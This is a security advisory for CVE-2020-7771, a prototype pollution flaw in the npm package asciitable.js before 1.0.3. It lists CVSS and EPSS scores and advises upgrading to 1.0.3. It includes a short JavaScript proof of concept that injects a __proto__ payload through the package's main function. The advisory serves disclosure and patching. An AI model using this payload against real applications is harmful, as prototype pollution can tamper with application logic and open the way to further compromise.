CVE-2020-7771
Prototype Pollution in asciitable.js
9.8
CRITICAL
CVSS 3.1
EPSS 0.45%
Description
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```
How to fix CVE-2020-7771
To remediate CVE-2020-7771, upgrade the affected package to a fixed version below.
- npm/asciitable.js—upgrade to 1.0.3 or later
Is CVE-2020-7771 being exploited?
Low — EPSS is 0.4%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 1.0.3
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |